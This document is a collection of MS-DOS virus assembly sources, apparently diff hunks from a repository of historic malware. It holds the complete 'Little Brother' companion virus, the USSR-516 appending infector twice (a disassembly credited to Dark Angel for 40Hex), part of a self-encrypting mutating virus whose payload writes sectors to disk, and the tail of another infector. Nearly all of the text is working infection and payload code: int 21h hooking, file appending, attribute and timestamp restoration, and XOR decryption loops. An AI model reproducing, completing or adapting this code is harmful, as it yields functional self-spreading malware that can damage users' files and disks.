||||
pop ds
|
||||
mov cx,endit - begin ; write the virus to the created file
|
||||
mov dx,offset begin ; CX contains length
|
||||
mov ah,40h ; write to file function
|
||||
int 21
|
||||
|
||||
mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
|
||||
return1: pop ax ;restore int24 vector
|
||||
pop ds
|
||||
pop dx
|
||||
int 21
|
||||
|
||||
pop ax ;restore ctrl-break flag
|
||||
pop dx
|
||||
int 21
|
||||
|
||||
mov si,offset EXE_txt ;change extension to EXE
|
||||
call change_ext ;execute EXE-file
|
||||
|
||||
return: mov ah,1Ah ;restore old DTA
|
||||
pop dx
|
||||
pop ds
|
||||
int 21
|
||||
|
||||
ret
|
||||
|
||||
do_com: call findfirst ;is the COM-file a virus?
|
||||
cmp word ptr cs:[DTA+1Ah],endit - begin ;compare it to virus length
|
||||
jne return ;no, so execute COM-file
|
||||
mov si,offset EXE_txt ;does the EXE-variant exist?
|
||||
call change_ext
|
||||
call findfirst
|
||||
jnc return ;yes, execute EXE-file
|
||||
mov si,offset COM_txt ;change extension to COM
|
||||
call change_ext
|
||||
jmp short return ;execute COM-file
|
||||
|
||||
;****************************************************************************
|
||||
;* Search beginning of extension for name we will usurp
|
||||
;****************************************************************************
|
||||
|
||||
searchpoint: les di,dword ptr cs:[nameptr]
|
||||
mov ch,0FFh
|
||||
mov al,0
|
||||
repnz scasb
|
||||
sub di,4
|
||||
ret
|
||||
|
||||
;****************************************************************************
|
||||
;* Change the extension of the filename (CS:SI -> ext)
|
||||
;****************************************************************************
|
||||
|
||||
change_ext: call searchpoint
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
movsw
|
||||
ret
|
||||
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Find the file
|
||||
;****************************************************************************
|
||||
|
||||
findfirst: lds dx,dword ptr [nameptr]
|
||||
mov cl,27h
|
||||
mov ah,4Eh
|
||||
int 21
|
||||
ret
|
||||
|
||||
;****************************************************************************
|
||||
;* Get the day off the system for activation checking
|
||||
;****************************************************************************
|
||||
get_day:
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Get back to caller
|
||||
;*************************************************************************
|
||||
;* Get the month off the system for activation checking
|
||||
;*************************************************************************
|
||||
|
||||
get_month:
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dh ; Copy month into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Get back to caller
|
||||
|
||||
|
||||
endit:
|
||||
|
||||
code ends
|
||||
end begin
|
||||
|
||||
@@ -0,0 +1,242 @@
|
||||
;****************************************************************************
|
||||
;* Little Brother Version 1
|
||||
;****************************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:nothing
|
||||
|
||||
org 100h
|
||||
|
||||
FILELEN equ end - begin
|
||||
RESPAR equ (FILELEN/16) + 17
|
||||
VERSION equ 1
|
||||
oi21 equ end
|
||||
nameptr equ end+4
|
||||
DTA equ end+8
|
||||
|
||||
.RADIX 16
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Start the program!
|
||||
;****************************************************************************
|
||||
|
||||
begin: cld
|
||||
|
||||
mov ax,0DEDEh ;already installed?
|
||||
int 21h
|
||||
cmp ah,041h
|
||||
je cancel
|
||||
|
||||
mov ax,0044h ;move program to empty hole
|
||||
mov es,ax
|
||||
mov di,0100h
|
||||
mov si,di
|
||||
mov cx,FILELEN
|
||||
rep movsb
|
||||
|
||||
mov ds,cx ;get original int21 vector
|
||||
mov si,0084h
|
||||
mov di,offset oi21
|
||||
movsw
|
||||
movsw
|
||||
|
||||
push es ;set vector to new handler
|
||||
pop ds
|
||||
mov dx,offset ni21
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
cancel: ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* File-extensions
|
||||
;****************************************************************************
|
||||
|
||||
EXE_txt db 'EXE',0
|
||||
COM_txt db 'COM',0
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 24
|
||||
;****************************************************************************
|
||||
|
||||
ni24: mov al,03
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 21
|
||||
;****************************************************************************
|
||||
|
||||
ni21: pushf
|
||||
|
||||
cmp ax,0DEDEh ;install-check ?
|
||||
je do_DEDE
|
||||
|
||||
push dx
|
||||
push bx
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
|
||||
cmp ax,4B00h ;execute ?
|
||||
jne exit
|
||||
|
||||
doit: call infect
|
||||
|
||||
exit: pop es
|
||||
pop ds
|
||||
pop ax
|
||||
pop bx
|
||||
pop dx
|
||||
popf
|
||||
|
||||
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||||
|
||||
do_DEDE: mov ax,04100h+VERSION ;return a signature
|
||||
popf
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||
;****************************************************************************
|
||||
|
||||
infect: cld
|
||||
|
||||
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
||||
mov word ptr cs:[nameptr+2],ds
|
||||
|
||||
push cs ;set new DTA
|
||||
pop ds
|
||||
mov dx,offset DTA
|
||||
mov ah,1Ah
|
||||
int 21
|
||||
|
||||
call searchpoint
|
||||
mov si,offset EXE_txt ;is extension 'EXE'?
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
jnz do_com
|
||||
|
||||
do_exe: mov si,offset COM_txt ;change extension to COM
|
||||
call change_ext
|
||||
|
||||
mov ax,3300h ;get ctrl-break flag
|
||||
int 21
|
||||
push dx
|
||||
|
||||
xor dl,dl ;clear the flag
|
||||
mov ax,3301h
|
||||
int 21
|
||||
|
||||
mov ax,3524h ;get int24 vector
|
||||
int 21
|
||||
push bx
|
||||
push es
|
||||
|
||||
push cs ;set int24 vec to new handler
|
||||
pop ds
|
||||
mov dx,offset ni24
|
||||
mov ax,2524h
|
||||
int 21
|
||||
|
||||
lds dx,dword ptr [nameptr] ;create the file (unique name)
|
||||
xor cx,cx
|
||||
mov ah,5Bh
|
||||
int 21
|
||||
jc return1
|
||||
xchg bx,ax ;save handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,FILELEN ;write the file
|
||||
mov dx,offset begin
|
||||
mov ah,40h
|
||||
int 21
|
||||
cmp ax,cx
|
||||
pushf
|
||||
|
||||
mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
popf
|
||||
jz return1 ;all bytes written?
|
||||
|
||||
lds dx,dword ptr [nameptr] ;delete the file
|
||||
mov ah,41h
|
||||
int 21
|
||||
|
||||
return1: pop ds ;restore int24 vector
|
||||
pop dx
|
||||
mov ax,2524h
|
||||
int 21
|
||||
|
||||
pop dx ;restore ctrl-break flag
|
||||
mov ax,3301h
|
||||
int 21
|
||||
|
||||
mov si,offset EXE_txt ;change extension to EXE
|
||||
call change_ext
|
||||
|
||||
return: ret
|
||||
|
||||
do_com: call findfirst ;is the file a virus?
|
||||
cmp word ptr cs:[DTA+1Ah],FILELEN
|
||||
jne return
|
||||
mov si,offset EXE_txt ;does the EXE-variant exist?
|
||||
call change_ext
|
||||
call findfirst
|
||||
jnc return
|
||||
mov si,offset COM_txt ;change extension to COM
|
||||
jmp short change_ext
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Find the file
|
||||
;****************************************************************************
|
||||
|
||||
findfirst: lds dx,dword ptr [nameptr]
|
||||
mov cl,27h
|
||||
mov ah,4Eh
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* change the extension of the filename (CS:SI -> ext)
|
||||
;****************************************************************************
|
||||
|
||||
change_ext: call searchpoint
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
movsw
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* search begin of extension
|
||||
;****************************************************************************
|
||||
|
||||
searchpoint: les di,dword ptr cs:[nameptr]
|
||||
mov ch,0FFh
|
||||
mov al,'.'
|
||||
repnz scasb
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Text and Signature
|
||||
;****************************************************************************
|
||||
|
||||
db 'Little Brother',0
|
||||
|
||||
end:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
|
||||
@@ -0,0 +1,280 @@
|
||||
|
||||
ussr516 segment byte public
|
||||
assume cs:ussr516, ds:ussr516
|
||||
org 100h
|
||||
;Disassembled by Dark Angel of PHALCON/SKISM
|
||||
;for 40Hex Number 7 Volume 2 Issue 3
|
||||
stub: db 0e9h, 0, 0
|
||||
db 0e9h, 1, 0, 0
|
||||
;This is where the virus really begins
|
||||
start:
|
||||
push ax
|
||||
call beginvir
|
||||
|
||||
orig4 db 0cdh, 20h, 0, 0
|
||||
int30store db 0, 0, 0, 0 ;Actually it's int 21h
|
||||
;entry point
|
||||
int21store db 0, 0, 0, 0
|
||||
|
||||
beginvir: pop bp ;BP -> orig4
|
||||
mov si,bp
|
||||
mov di,103h
|
||||
add di,[di-2] ;DI -> orig4
|
||||
movsw ;restore original
|
||||
movsw ;4 bytes of program
|
||||
xor si,si
|
||||
mov ds,si
|
||||
les di,dword ptr ds:[21h*4]
|
||||
mov [bp+8],di ;int21store
|
||||
mov [bp+0Ah],es
|
||||
lds di,dword ptr ds:[30h*4+1] ;Bug????
|
||||
findmarker:
|
||||
inc di
|
||||
cmp word ptr [di-2],0E18Ah ;Find marker bytes
|
||||
jne findmarker ;to the entry point
|
||||
mov [bp+4],di ;and move to
|
||||
mov [bp+6],ds ;int30store
|
||||
mov ax,5252h ;Get list of lists
|
||||
int 21h ;and also ID check
|
||||
|
||||
add bx,12h ;Already installed?
|
||||
jz quitvir ;then exit
|
||||
push bx
|
||||
mov ah,30h ;Get DOS version
|
||||
int 21h
|
||||
|
||||
pop bx ;bx = 12, ptr to 1st
|
||||
;disk buffer
|
||||
cmp al,3
|
||||
je handlebuffer ;if DOS 3
|
||||
ja handleDBHCH ;if > DOS 3
|
||||
inc bx ;DOS 2.X, offset is 13
|
||||
handlebuffer:
|
||||
push ds
|
||||
push bx
|
||||
lds bx,dword ptr [bx] ;Get seg:off of buffer
|
||||
inc si
|
||||
pop di
|
||||
pop es ;ES:DI->seg:off buff
|
||||
mov ax,[bx] ;ptr to next buffer
|
||||
cmp ax,0FFFFh ;least recently used?
|
||||
jne handlebuffer ;if not, go find it
|
||||
cmp si,3
|
||||
jbe quitvir
|
||||
stosw
|
||||
stosw
|
||||
jmp short movetobuffer
|
||||
handleDBHCH: ;Disk Buffer Hash Chain Head array
|
||||
lds si,dword ptr [bx] ;ptr to disk buffer
|
||||
lodsw ;info
|
||||
lodsw ;seg of disk buffer
|
||||
;hash chain head array
|
||||
inc ax ;second entry
|
||||
mov ds,ax
|
||||
xor bx,bx
|
||||
mov si,bx
|
||||
lodsw ;EMS page, -1 if not
|
||||
;in EMS
|
||||
xchg ax,di ;save in di
|
||||
lodsw ;ptr to least recently
|
||||
;used buffer
|
||||
mov [di+2],ax ;change disk buffer
|
||||
;backward offset to
|
||||
;least recently used
|
||||
xchg ax,di ;restore EMS page
|
||||
mov [di],ax ;set to least recently
|
||||
movetobuffer: ;used
|
||||
mov di,bx
|
||||
push ds
|
||||
pop es ;ES:DI -> disk buffer
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,108h
|
||||
lea si,[bp-4] ;Copy from start
|
||||
rep movsw
|
||||
mov ds,cx ;DS -> interrupt table
|
||||
mov word ptr ds:[4*21h],0BCh ;New interrupt handler
|
||||
mov word ptr ds:[4*21h+2],es ;at int21
|
||||
quitvir:
|
||||
push cs ;CS = DS = ES
|
||||
pop es
|
||||
push es
|
||||
pop ds
|
||||
pop ax
|
||||
mov bx,ax
|
||||
mov si, 100h ;set up stack for
|
||||
push si ;the return to the
|
||||
retn ;original program
|
||||
int24:
|
||||
mov al,3 ;Ignore all errors
|
||||
iret
|
||||
tickstore db 3 ;Why???
|
||||
buffer db 3, 0, 9, 0
|
||||
|
||||
int21:
|
||||
pushf
|
||||
cli ;CP/M style call entry
|
||||
call dword ptr cs:[int30store-start]
|
||||
retn ;point of int 21h
|
||||
|
||||
int21DSDX: ;For int 21h calls
|
||||
push ds ;with
|
||||
lds dx,dword ptr [bp+2] ;DS:DX -> filename
|
||||
call int21
|
||||
pop ds
|
||||
retn
|
||||
|
||||
cmp ax,4B00h ;Execute
|
||||
je Execute
|
||||
cmp ax,5252h ;ID check
|
||||
je CheckID
|
||||
cmp ah,30h ;DOS Version
|
||||
je DosVersion
|
||||
callorig21: ;Do other calls
|
||||
jmp dword ptr cs:[int21store-start]
|
||||
DosVersion: ;Why????? ;DOS Version
|
||||
dec byte ptr cs:[tickstore-start]
|
||||
jnz callorig21 ;Continue if not 0
|
||||
push es
|
||||
xor ax,ax
|
||||
push ax
|
||||
mov es,ax
|
||||
mov al,es:[46Ch] ; 40h:6Ch = Timer ticks
|
||||
; since midnight
|
||||
and al,7 ; MOD 15
|
||||
inc ax
|
||||
inc ax
|
||||
mov cs:[tickstore-start],al ;# 2-17
|
||||
pop ax
|
||||
pop es
|
||||
iret
|
||||
CheckID: ;ID Check
|
||||
mov bx,0FFEEh ;FFEEh = -12h
|
||||
iret
|
||||
Execute: ;Execute
|
||||
push ax ;Save registers
|
||||
push cx
|
||||
push es
|
||||
push bx
|
||||
push ds ;DS:DX -> filename
|
||||
push dx ;save it on stack
|
||||
push bp
|
||||
mov bp,sp ;Set up stack frame
|
||||
sub sp,0Ah ;Temporary variables
|
||||
;[bp-A] = attributes
|
||||
;[bp-8] = int 24 off
|
||||
;[bp-6] = int 24 seg
|
||||
;[bp-4] = file time
|
||||
;[bp-2] = file date
|
||||
sti
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,3301h ;Turn off ^C check
|
||||
xor dl,dl ;(never turn it back
|
||||
call int21 ; on. Bug???)
|
||||
mov ax,3524h ;Get int 24h
|
||||
call int21 ;(Critical error)
|
||||
mov [bp-8],bx
|
||||
mov [bp-6],es
|
||||
mov dx,int24-start
|
||||
mov ax,2524h ;Set to new one
|
||||
call int21
|
||||
mov ax,4300h ;Get attributes
|
||||
call int21DSDX
|
||||
jnc continue
|
||||
doneinfect:
|
||||
mov ax,2524h ;Restore crit error
|
||||
lds dx,dword ptr [bp-8] ;handler
|
||||
call int21
|
||||
cli
|
||||
mov sp,bp
|
||||
pop bp
|
||||
pop dx
|
||||
pop ds
|
||||
pop bx
|
||||
pop es
|
||||
pop cx
|
||||
pop ax
|
||||
jmp short callorig21 ;Call orig handler
|
||||
continue:
|
||||
mov [bp-0Ah],cx ;Save attributes
|
||||
test cl,1 ;Check if r/o????
|
||||
jz noclearattr
|
||||
xor cx,cx
|
||||
mov ax,4301h ;Clear attributes
|
||||
call int21DSDX ;Filename in DS:DX
|
||||
jc doneinfect ;Quit on error
|
||||
noclearattr:
|
||||
mov ax,3D02h ;Open read/write
|
||||
call int21DSDX ;Filename in DS:DX
|
||||
jc doneinfect ;Exit if error
|
||||
mov bx,ax
|
||||
mov ax,5700h ;Save time/date
|
||||
call int21
|
||||
mov [bp-4],cx
|
||||
mov [bp-2],dx
|
||||
mov dx,buffer-start
|
||||
mov cx,4
|
||||
mov ah,3Fh ;Read 4 bytes to
|
||||
call int21 ;buffer
|
||||
jc quitinf
|
||||
cmp byte ptr ds:[buffer-start],0E9h;Must start with 0E9h
|
||||
jne quitinf ;Otherwise, quit
|
||||
mov dx,word ptr ds:[buffer+1-start];dx = jmploc
|
||||
dec dx
|
||||
xor cx,cx
|
||||
mov ax,4201h ;go there
|
||||
call int21
|
||||
mov ds:[buffer-start],ax ;new location offset
|
||||
mov dx,orig4-start
|
||||
mov cx,4
|
||||
mov ah,3Fh ;Read 4 bytes there
|
||||
call int21
|
||||
mov dx,ds:[orig4-start]
|
||||
cmp dl,0E9h ;0E9h means we might
|
||||
jne infect ;already be there
|
||||
mov ax,ds:[orig4+2-start] ;continue checking
|
||||
add al,dh ;to see if we really
|
||||
sub al,ah ;are there.
|
||||
jz quitinf
|
||||
infect:
|
||||
xor cx,cx
|
||||
mov dx,cx
|
||||
mov ax,4202h ;Go to EOF
|
||||
call int21
|
||||
mov ds:[buffer+2-start],ax ;save filesize
|
||||
mov cx,204h
|
||||
mov ah,40h ;Write virus
|
||||
call int21
|
||||
jc quitinf ;Exit if error
|
||||
sub cx,ax
|
||||
jnz quitinf
|
||||
mov dx,ds:[buffer-start]
|
||||
mov ax,ds:[buffer+2-start]
|
||||
sub ax,dx
|
||||
sub ax,3 ;AX->jmp offset
|
||||
mov word ptr ds:[buffer+1-start],ax;Set up buffer
|
||||
mov byte ptr ds:[buffer-start],0E9h;code the jmp
|
||||
add al,ah
|
||||
mov byte ptr ds:[buffer+3-start],al
|
||||
mov ax,4200h ;Rewind to jmploc
|
||||
call int21
|
||||
mov dx, buffer-start
|
||||
mov cx,4 ;Write in the jmp
|
||||
mov ah,40h
|
||||
call int21
|
||||
quitinf:
|
||||
mov cx,[bp-4]
|
||||
mov dx,[bp-2]
|
||||
mov ax,5701h ;Restore date/time
|
||||
call int21
|
||||
mov ah,3Eh ;Close file
|
||||
call int21
|
||||
mov cx,[bp-0Ah] ;Restore attributes
|
||||
mov ax,4301h
|
||||
call int21DSDX
|
||||
jmp doneinfect ;Return
|
||||
ussr516 ends
|
||||
end stub
|
||||
|
||||
|
||||
@@ -0,0 +1,278 @@
|
||||
|
||||
ussr516 segment byte public
|
||||
assume cs:ussr516, ds:ussr516
|
||||
org 100h
|
||||
; Disassembled by Dark Angel of PHALCON/SKISM
|
||||
; for 40Hex Number 7 Volume 2 Issue 3
|
||||
stub: db 0e9h, 0, 0
|
||||
db 0e9h, 1, 0, 0
|
||||
; This is where the virus really begins
|
||||
start:
|
||||
push ax
|
||||
call beginvir
|
||||
|
||||
orig4 db 0cdh, 20h, 0, 0
|
||||
int30store db 0, 0, 0, 0 ; Actually it's int 21h
|
||||
; entry point
|
||||
int21store db 0, 0, 0, 0
|
||||
|
||||
beginvir: pop bp ; BP -> orig4
|
||||
mov si,bp
|
||||
mov di,103h
|
||||
add di,[di-2] ; DI -> orig4
|
||||
movsw ; restore original
|
||||
movsw ; 4 bytes of program
|
||||
xor si,si
|
||||
mov ds,si
|
||||
les di,dword ptr ds:[21h*4]
|
||||
mov [bp+8],di ; int21store
|
||||
mov [bp+0Ah],es
|
||||
lds di,dword ptr ds:[30h*4+1] ; Bug????
|
||||
findmarker:
|
||||
inc di
|
||||
cmp word ptr [di-2],0E18Ah ; Find marker bytes
|
||||
jne findmarker ; to the entry point
|
||||
mov [bp+4],di ; and move to
|
||||
mov [bp+6],ds ; int30store
|
||||
mov ax,5252h ; Get list of lists
|
||||
int 21h ; and also ID check
|
||||
|
||||
add bx,12h ; Already installed?
|
||||
jz quitvir ; then exit
|
||||
push bx
|
||||
mov ah,30h ; Get DOS version
|
||||
int 21h
|
||||
|
||||
pop bx ; bx = 12, ptr to 1st
|
||||
; disk buffer
|
||||
cmp al,3
|
||||
je handlebuffer ; if DOS 3
|
||||
ja handleDBHCH ; if > DOS 3
|
||||
inc bx ; DOS 2.X, offset is 13
|
||||
handlebuffer:
|
||||
push ds
|
||||
push bx
|
||||
lds bx,dword ptr [bx] ; Get seg:off of buffer
|
||||
inc si
|
||||
pop di
|
||||
pop es ; ES:DI->seg:off buff
|
||||
mov ax,[bx] ; ptr to next buffer
|
||||
cmp ax,0FFFFh ; least recently used?
|
||||
jne handlebuffer ; if not, go find it
|
||||
cmp si,3
|
||||
jbe quitvir
|
||||
stosw
|
||||
stosw
|
||||
jmp short movetobuffer
|
||||
handleDBHCH: ; Disk Buffer Hash Chain Head array
|
||||
lds si,dword ptr [bx] ; ptr to disk buffer
|
||||
lodsw ; info
|
||||
lodsw ; seg of disk buffer
|
||||
; hash chain head array
|
||||
inc ax ; second entry
|
||||
mov ds,ax
|
||||
xor bx,bx
|
||||
mov si,bx
|
||||
lodsw ; EMS page, -1 if not
|
||||
; in EMS
|
||||
xchg ax,di ; save in di
|
||||
lodsw ; ptr to least recently
|
||||
; used buffer
|
||||
mov [di+2],ax ; change disk buffer
|
||||
; backward offset to
|
||||
; least recently used
|
||||
xchg ax,di ; restore EMS page
|
||||
mov [di],ax ; set to least recently
|
||||
movetobuffer: ; used
|
||||
mov di,bx
|
||||
push ds
|
||||
pop es ; ES:DI -> disk buffer
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,108h
|
||||
lea si,[bp-4] ; Copy from start
|
||||
rep movsw
|
||||
mov ds,cx ; DS -> interrupt table
|
||||
mov word ptr ds:[4*21h],0BCh ; New interrupt handler
|
||||
mov word ptr ds:[4*21h+2],es ; at int21
|
||||
quitvir:
|
||||
push cs ; CS = DS = ES
|
||||
pop es
|
||||
push es
|
||||
pop ds
|
||||
pop ax
|
||||
mov bx,ax
|
||||
mov si, 100h ; set up stack for
|
||||
push si ; the return to the
|
||||
retn ; original program
|
||||
int24:
|
||||
mov al,3 ; Ignore all errors
|
||||
iret
|
||||
tickstore db 3 ; Why???
|
||||
buffer db 3, 0, 9, 0
|
||||
|
||||
int21:
|
||||
pushf
|
||||
cli ; CP/M style call entry
|
||||
call dword ptr cs:[int30store-start]
|
||||
retn ; point of int 21h
|
||||
|
||||
int21DSDX: ; For int 21h calls
|
||||
push ds ; with
|
||||
lds dx,dword ptr [bp+2] ; DS:DX -> filename
|
||||
call int21
|
||||
pop ds
|
||||
retn
|
||||
|
||||
cmp ax,4B00h ; Execute
|
||||
je Execute
|
||||
cmp ax,5252h ; ID check
|
||||
je CheckID
|
||||
cmp ah,30h ; DOS Version
|
||||
je DosVersion
|
||||
callorig21: ; Do other calls
|
||||
jmp dword ptr cs:[int21store-start]
|
||||
DosVersion: ; Why????? ; DOS Version
|
||||
dec byte ptr cs:[tickstore-start]
|
||||
jnz callorig21 ; Continue if not 0
|
||||
push es
|
||||
xor ax,ax
|
||||
push ax
|
||||
mov es,ax
|
||||
mov al,es:[46Ch] ; 40h:6Ch = Timer ticks
|
||||
; since midnight
|
||||
and al,7 ; MOD 15
|
||||
inc ax
|
||||
inc ax
|
||||
mov cs:[tickstore-start],al ; # 2-17
|
||||
pop ax
|
||||
pop es
|
||||
iret
|
||||
CheckID: ; ID Check
|
||||
mov bx,0FFEEh ; FFEEh = -12h
|
||||
iret
|
||||
Execute: ; Execute
|
||||
push ax ; Save registers
|
||||
push cx
|
||||
push es
|
||||
push bx
|
||||
push ds ; DS:DX -> filename
|
||||
push dx ; save it on stack
|
||||
push bp
|
||||
mov bp,sp ; Set up stack frame
|
||||
sub sp,0Ah ; Temporary variables
|
||||
; [bp-A] = attributes
|
||||
; [bp-8] = int 24 off
|
||||
; [bp-6] = int 24 seg
|
||||
; [bp-4] = file time
|
||||
; [bp-2] = file date
|
||||
sti
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,3301h ; Turn off ^C check
|
||||
xor dl,dl ; (never turn it back
|
||||
call int21 ; on. Bug???)
|
||||
mov ax,3524h ; Get int 24h
|
||||
call int21 ; (Critical error)
|
||||
mov [bp-8],bx
|
||||
mov [bp-6],es
|
||||
mov dx,int24-start
|
||||
mov ax,2524h ; Set to new one
|
||||
call int21
|
||||
mov ax,4300h ; Get attributes
|
||||
call int21DSDX
|
||||
jnc continue
|
||||
doneinfect:
|
||||
mov ax,2524h ; Restore crit error
|
||||
lds dx,dword ptr [bp-8] ; handler
|
||||
call int21
|
||||
cli
|
||||
mov sp,bp
|
||||
pop bp
|
||||
pop dx
|
||||
pop ds
|
||||
pop bx
|
||||
pop es
|
||||
pop cx
|
||||
pop ax
|
||||
jmp short callorig21 ; Call orig handler
|
||||
continue:
|
||||
mov [bp-0Ah],cx ; Save attributes
|
||||
test cl,1 ; Check if r/o????
|
||||
jz noclearattr
|
||||
xor cx,cx
|
||||
mov ax,4301h ; Clear attributes
|
||||
call int21DSDX ; Filename in DS:DX
|
||||
jc doneinfect ; Quit on error
|
||||
noclearattr:
|
||||
mov ax,3D02h ; Open read/write
|
||||
call int21DSDX ; Filename in DS:DX
|
||||
jc doneinfect ; Exit if error
|
||||
mov bx,ax
|
||||
mov ax,5700h ; Save time/date
|
||||
call int21
|
||||
mov [bp-4],cx
|
||||
mov [bp-2],dx
|
||||
mov dx,buffer-start
|
||||
mov cx,4
|
||||
mov ah,3Fh ; Read 4 bytes to
|
||||
call int21 ; buffer
|
||||
jc quitinf
|
||||
cmp byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
|
||||
jne quitinf ; Otherwise, quit
|
||||
mov dx,word ptr ds:[buffer+1-start]; dx = jmploc
|
||||
dec dx
|
||||
xor cx,cx
|
||||
mov ax,4201h ; go there
|
||||
call int21
|
||||
mov ds:[buffer-start],ax ; new location offset
|
||||
mov dx,orig4-start
|
||||
mov cx,4
|
||||
mov ah,3Fh ; Read 4 bytes there
|
||||
call int21
|
||||
mov dx,ds:[orig4-start]
|
||||
cmp dl,0E9h ; 0E9h means we might
|
||||
jne infect ; already be there
|
||||
mov ax,ds:[orig4+2-start] ; continue checking
|
||||
add al,dh ; to see if we really
|
||||
sub al,ah ; are there.
|
||||
jz quitinf
|
||||
infect:
|
||||
xor cx,cx
|
||||
mov dx,cx
|
||||
mov ax,4202h ; Go to EOF
|
||||
call int21
|
||||
mov ds:[buffer+2-start],ax ; save filesize
|
||||
mov cx,204h
|
||||
mov ah,40h ; Write virus
|
||||
call int21
|
||||
jc quitinf ; Exit if error
|
||||
sub cx,ax
|
||||
jnz quitinf
|
||||
mov dx,ds:[buffer-start]
|
||||
mov ax,ds:[buffer+2-start]
|
||||
sub ax,dx
|
||||
sub ax,3 ; AX->jmp offset
|
||||
mov word ptr ds:[buffer+1-start],ax; Set up buffer
|
||||
mov byte ptr ds:[buffer-start],0E9h; code the jmp
|
||||
add al,ah
|
||||
mov byte ptr ds:[buffer+3-start],al
|
||||
mov ax,4200h ; Rewind to jmploc
|
||||
call int21
|
||||
mov dx, buffer-start
|
||||
mov cx,4 ; Write in the jmp
|
||||
mov ah,40h
|
||||
call int21
|
||||
quitinf:
|
||||
mov cx,[bp-4]
|
||||
mov dx,[bp-2]
|
||||
mov ax,5701h ; Restore date/time
|
||||
call int21
|
||||
mov ah,3Eh ; Close file
|
||||
call int21
|
||||
mov cx,[bp-0Ah] ; Restore attributes
|
||||
mov ax,4301h
|
||||
call int21DSDX
|
||||
jmp doneinfect ; Return
|
||||
ussr516 ends
|
||||
end stub
|
||||
@@ -0,0 +1,498 @@
|
||||
code segment
|
||||
assume cs:code
|
||||
org 100h
|
||||
|
||||
start:
|
||||
jmp begin
|
||||
|
||||
org 200h
|
||||
begin:
|
||||
jmp short beg
|
||||
|
||||
FileSize dw 0E00h; 02h
|
||||
int21vec dd 0 ; 04h
|
||||
oldint13 dd 0 ; 08h
|
||||
oldint24 dd 0 ; 0Ch
|
||||
Date dw 0 ; 10h
|
||||
Time dw 0 ; 12h
|
||||
db 1 ; 14h
|
||||
version dw 0 ; 15h - mutation status
|
||||
|
||||
beg:
|
||||
call codenext
|
||||
codenext:
|
||||
pop si
|
||||
mutation1:
|
||||
cli
|
||||
push ds
|
||||
pop es
|
||||
mov bp,sp
|
||||
mov sp,si
|
||||
add sp,3FEh-(offset codenext-offset begin)
|
||||
mutation2:
|
||||
mov cx,ss
|
||||
mov ax,cs
|
||||
mov ss,ax
|
||||
pop bx
|
||||
dec sp
|
||||
dec sp
|
||||
add si,offset mybeg-offset codenext
|
||||
codeloop:
|
||||
pop ax
|
||||
xor al,bh
|
||||
push ax
|
||||
dec sp
|
||||
cmp sp,si
|
||||
jnc codeloop
|
||||
mybeg:
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
add word ptr ds:[3],-082h
|
||||
mov bx,ds:[3]
|
||||
mov byte ptr ds:[0],5ah
|
||||
inc ax
|
||||
inc bx
|
||||
add bx,ax
|
||||
mov es,bx
|
||||
mov ss,cx
|
||||
add si,offset begin-offset mybeg
|
||||
mov bx,ds
|
||||
mov ds,ax
|
||||
mov sp,bp
|
||||
push si
|
||||
xor di,di
|
||||
mov cx,400h
|
||||
cld
|
||||
rep movsb
|
||||
pop si
|
||||
push bx
|
||||
mov bx,offset inblock-offset begin
|
||||
push es
|
||||
push bx
|
||||
retf
|
||||
inblock:
|
||||
mov es,ax
|
||||
mov ax,cs:[2] ; File Size
|
||||
add ax,100h
|
||||
mov di,si
|
||||
mov si,ax
|
||||
mov cx,400h
|
||||
rep movsb
|
||||
pop es
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
sti
|
||||
cmp word ptr ds:[21h*4],offset int21-offset begin
|
||||
jne count
|
||||
sub word ptr es:[3],-082h
|
||||
test byte ptr ds:[46ch],11100111b
|
||||
jnz efect1
|
||||
push cs
|
||||
pop ds
|
||||
mov si,offset msg-offset begin
|
||||
efect2:
|
||||
lodsb
|
||||
or al,0
|
||||
jz efect3
|
||||
mov ah,0eh
|
||||
int 10h
|
||||
jmp short efect2
|
||||
efect3:
|
||||
mov ah,32h
|
||||
xor dl,dl
|
||||
int 21h
|
||||
jc efect1
|
||||
call setaddr
|
||||
call setint
|
||||
mov dx,ds:[bx+10h]
|
||||
mov ah,19h
|
||||
int 21h
|
||||
mov cx,2
|
||||
int 26h
|
||||
pop bx
|
||||
call setint
|
||||
efect1:
|
||||
jmp quit
|
||||
count:
|
||||
add word ptr es:[12h],-082h
|
||||
mov bx,ds:[46ch]
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
